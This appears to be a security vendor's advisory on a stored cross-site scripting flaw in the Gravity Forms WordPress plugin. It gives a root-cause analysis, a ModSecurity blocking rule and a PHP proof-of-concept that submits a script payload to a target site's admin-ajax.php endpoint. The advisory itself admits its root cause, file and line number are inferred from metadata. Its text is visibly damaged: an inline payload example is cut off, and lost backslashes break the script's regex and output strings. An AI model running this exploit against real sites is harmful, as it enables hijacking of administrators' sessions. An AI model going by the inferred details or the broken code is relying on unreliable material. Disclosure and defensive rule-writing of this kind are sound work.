Atomic Edge analysis of CVE-2026-5109 (metadata-based): This vulnerability in the Gravity Forms plugin for WordPress (versions up to 2.10.0) allows unauthenticated stored cross-site scripting via the Product Option field. The CVSS base score is 7.2 (High).
The root cause is insufficient validation and output escaping of Product Option field values. The state validation function accepts submitted values where the sanitized version matches a legitimate option, but then stores the raw unsanitized value. When administrators view entry details, the option_label is output directly without escaping in view-order-summary.php line 32. This is an inference from the CWE-79 classification and vulnerability description, as no code diff is available.
Exploitation requires an unauthenticated attacker to submit a form with a crafted Product Option field. The attacker sends a POST request to the Gravity Forms AJAX endpoint with a product option value containing JavaScript payload. The payload survives because validation only checks the sanitized version against allowed values, but stores and later renders the unsanitized version. For example, submitting an option like “>
could bypass validation if the sanitized version matches a valid option.
Remediation requires the plugin to use the sanitized version for storage, not the raw value. The output in view-order-summary.php must use wp_kses() or esc_html() to prevent XSS. The state validation function should store the sanitized value, not the raw submitted value.
Impact is significant because it targets administrators. Unauthenticated attackers can inject arbitrary JavaScript into entry details pages. This could lead to session hijacking, credential theft, or forced administrative actions. The CVSS impact sub-score shows low confidentiality and integrity impact, but the cross-site scripting scope has changed, meaning the script executes in a different security context.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20265109,phase:2,deny,status:403,chain,msg:'CVE-2026-5109 Gravity Forms Stored XSS via Product Option',severity:'CRITICAL',tag:'CVE-2026-5109'"
SecRule ARGS_POST:action "@streq gf_submit" "chain"
SecRule ARGS_POST "@detectXSS" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5109 - Gravity Forms <= 2.10.0 - Unauthenticated Stored Cross-Site Scripting via Product Option
<?php
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$payload = '"><script>alert("XSS-ATOMIC-EDGE");</script>';
// Fetch the form's nonce and the form ID from the page
$ch = curl_init($target_url . '/?gf_page=preview&id=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract the nonce (if needed) and form ID from the response
preg_match('/<input type="hidden" name="gform_submit".*?value="(d+)"/', $response, $matches);
$form_id = $matches[1] ?? 1;
preg_match('/<input type="hidden" name="gform_unique_id".*?value="([^"]+)"/', $response, $matches);
$unique_id = $matches[1] ?? '';
// Simulate a form submission with a malicious product option
$post_data = array(
'action' => 'gf_submit',
'gform_submit' => $form_id,
'gform_unique_id' => $unique_id,
'gform_target_page_number_1' => 0,
'gform_source_page_number_1' => 1,
'input_1' => '1', // Product field ID (adjust as needed)
'input_1.1' => $payload, // Product option value with XSS payload
'is_submit_1' => '1',
'gform_submit' => $form_id
);
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (AtomicEdge Research PoC)'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response body (truncated): " . substr($response, 0, 500) . "nn";
echo "Exploit payload submitted. Admin must view entry details to trigger XSS.n";
echo "If successful, an alert box with 'XSS-ATOMIC-EDGE' will appear.n";
